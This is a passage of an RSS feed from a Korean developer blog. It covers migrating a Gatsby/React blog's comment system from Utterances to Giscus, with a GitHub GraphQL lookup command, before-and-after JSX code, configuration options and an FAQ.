&lt;p&gt;&lt;a href=&quot;https://giscus.app/ko&quot;&gt;giscus.app&lt;/a&gt;에서 레포를 입력하면 설정값이 자동 생성됩니다. 필요한 값:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;repo&lt;/code&gt; — 레포 경로 (예: &lt;code class=&quot;language-text&quot;&gt;javapark/javapark.github.io&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;repoId&lt;/code&gt; — 레포 고유 ID&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;category&lt;/code&gt; — Discussion 카테고리 (보통 &lt;code class=&quot;language-text&quot;&gt;General&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;categoryId&lt;/code&gt; — 카테고리 고유 ID&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;GraphQL로 직접 확인할 수도 있습니다:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gh api graphql &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;
{
  repository(owner: &quot;username&quot;, name: &quot;repo&quot;) {
    id
    discussionCategories(first: 10) {
      nodes { id name }
    }
  }
}&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4단계: 패키지 설치&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;yarn&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; @giscus/react&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;5단계: 코드 교체&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Before (Utterances):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Utterances &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;utterances-react-component&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Comment&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; theme &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useSelector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;state&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; state&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;spinner&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; setSpinner&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;useEffect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setSpinner&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1500&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;spinner &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Spinner&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HiddenWrapper&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;isHidden&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;spinner&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HiddenWrapper&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;isHidden&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;theme &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;light&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Utterances&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token attr-name&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;user/repo&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token attr-name&quot;&gt;theme&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;github-dark&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token attr-name&quot;&gt;issueTerm&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;pathname&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HiddenWrapper&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HiddenWrapper&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;isHidden&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;theme &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dark&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Utterances&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token attr-name&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;user/repo&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token attr-name&quot;&gt;theme&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;github-light&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token attr-name&quot;&gt;issueTerm&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;pathname&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HiddenWrapper&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HiddenWrapper&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;After (Giscus):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Giscus &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@giscus/react&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Comment&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; theme &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useSelector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;state&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; state&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Giscus&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;user/repo&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;repoId&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;R_xxxxx&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;General&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;categoryId&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;DIC_xxxxx&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;mapping&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;pathname&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;reactionsEnabled&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;1&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;emitMetadata&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;0&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;inputPosition&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;top&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;theme&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;theme &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dark&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dark_dimmed&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;light&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
      &lt;span class=&quot;token attr-name&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;ko&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;차이점이 보이시나요?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Utterances: 스피너 + HiddenWrapper 2개로 light/dark 전환 → &lt;strong&gt;30줄&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Giscus: &lt;code class=&quot;language-text&quot;&gt;theme&lt;/code&gt; prop만 바꾸면 실시간 전환 → &lt;strong&gt;15줄&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;코드가 절반으로 줄었습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Giscus 주요 설정 옵션&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;옵션&lt;/th&gt;
&lt;th&gt;값&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;mapping&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;pathname&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;포스트 URL 경로로 Discussion 매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;reactionsEnabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;1&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;포스트 리액션 활성화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;inputPosition&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;top&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;댓글 입력창을 상단에 배치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;theme&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;light&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;dark_dimmed&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;테마 (다크모드 연동)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;lang&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ko&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;한국어 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;사용 가능한 테마&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;light&lt;/code&gt; — 밝은 테마&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;dark&lt;/code&gt; — 어두운 테마&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;dark_dimmed&lt;/code&gt; — 약간 밝은 다크 테마 (추천)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;transparent_dark&lt;/code&gt; — 투명 다크&lt;/li&gt;
&lt;li&gt;커스텀 CSS URL도 지정 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;전환 후 달라진 점&lt;/h2&gt;
&lt;h3&gt;대댓글 지원&lt;/h3&gt;
&lt;p&gt;댓글에 답글을 달 수 있어서 대화가 자연스럽게 이어집니다. Utterances에서는 &quot;@사용자&quot; 멘션으로 대신해야 했던 것이 스레드로 깔끔하게 정리됩니다.&lt;/p&gt;
&lt;h3&gt;포스트 리액션&lt;/h3&gt;
&lt;p&gt;댓글을 쓰지 않아도 포스트에 리액션을 남길 수 있습니다. &quot;이 글이 도움이 됐다&quot;는 피드백을 부담 없이 받을 수 있습니다.&lt;/p&gt;
&lt;h3&gt;코드 간소화&lt;/h3&gt;
&lt;p&gt;다크모드 전환을 위한 HiddenWrapper 트릭, 스피너 로딩 등 불필요한 코드를 모두 제거했습니다. Giscus는 &lt;code class=&quot;language-text&quot;&gt;theme&lt;/code&gt; prop만 변경하면 자동으로 테마가 전환됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;기존 Utterances 댓글은 어떻게 되나요?&lt;/h2&gt;
&lt;p&gt;Utterances로 작성된 기존 댓글은 GitHub Issues에 그대로 남아 있습니다. Giscus는 GitHub Discussions에 새로운 스레드를 만들기 때문에, 기존 댓글과 새 댓글은 별도로 관리됩니다.&lt;/p&gt;
&lt;p&gt;기존 댓글을 Discussions로 이전하려면 GitHub API를 사용해 Issues의 댓글을 Discussions로 복사하는 스크립트를 작성해야 합니다. 다만, 댓글이 많지 않다면 새로 시작하는 것을 추천합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. Giscus도 GitHub 계정이 필요한가요?&lt;/h3&gt;
&lt;p&gt;네. Utterances와 마찬가지로 댓글을 작성하려면 GitHub 계정으로 로그인해야 합니다. 개발 블로그라면 대부분의 독자가 GitHub 계정을 가지고 있으므로 큰 문제가 되지 않습니다.&lt;/p&gt;
&lt;h3&gt;Q2. Giscus는 무료인가요?&lt;/h3&gt;
&lt;p&gt;네. 오픈소스이며 완전 무료입니다. 광고도 없고, 트래킹도 없습니다. 모든 데이터는 여러분의 GitHub 레포에 저장됩니다.&lt;/p&gt;
&lt;h3&gt;Q3. Next.js에서도 쓸 수 있나요?&lt;/h3&gt;
&lt;p&gt;네. &lt;code class=&quot;language-text&quot;&gt;@giscus/react&lt;/code&gt; 패키지는 React 기반이라 Next.js, Gatsby, CRA 등 모든 React 프로젝트에서 사용할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;Utterances에서 Giscus로의 전환은 &lt;strong&gt;5분이면 끝나는 작업&lt;/strong&gt;입니다. 대댓글, 리액션, 실시간 테마 전환 — 이 세 가지만으로도 전환할 가치가 충분합니다.&lt;/p&gt;
&lt;p&gt;여러분의 블로그에도 Giscus를 적용해보세요. 아래 Giscus 댓글로 첫 댓글을 남겨주시면 더 좋겠습니다!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;참고 자료:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://giscus.app/ko&quot;&gt;Giscus 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/giscus/giscus&quot;&gt;Giscus GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/@giscus/react&quot;&gt;@giscus/react NPM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[블로그에 광고와 댓글 시스템 달기 — 수익화와 소통]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "블로그에 글만 올리면 끝인가요? 수익도 낼 수 있고, 독자와 소통도 할 수 있다면 좋겠는데..." GitHub Pages…]]></description><link>https://blog.javapark.kr/06-ads-and-comments/</link><guid isPermaLink="false">https://blog.javapark.kr/06-ads-and-comments/</guid><pubDate>Sat, 04 Apr 2026 19:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;블로그에 글만 올리면 끝인가요? 수익도 낼 수 있고, 독자와 소통도 할 수 있다면 좋겠는데...&quot;&lt;/p&gt;
&lt;/blockquote&gt;
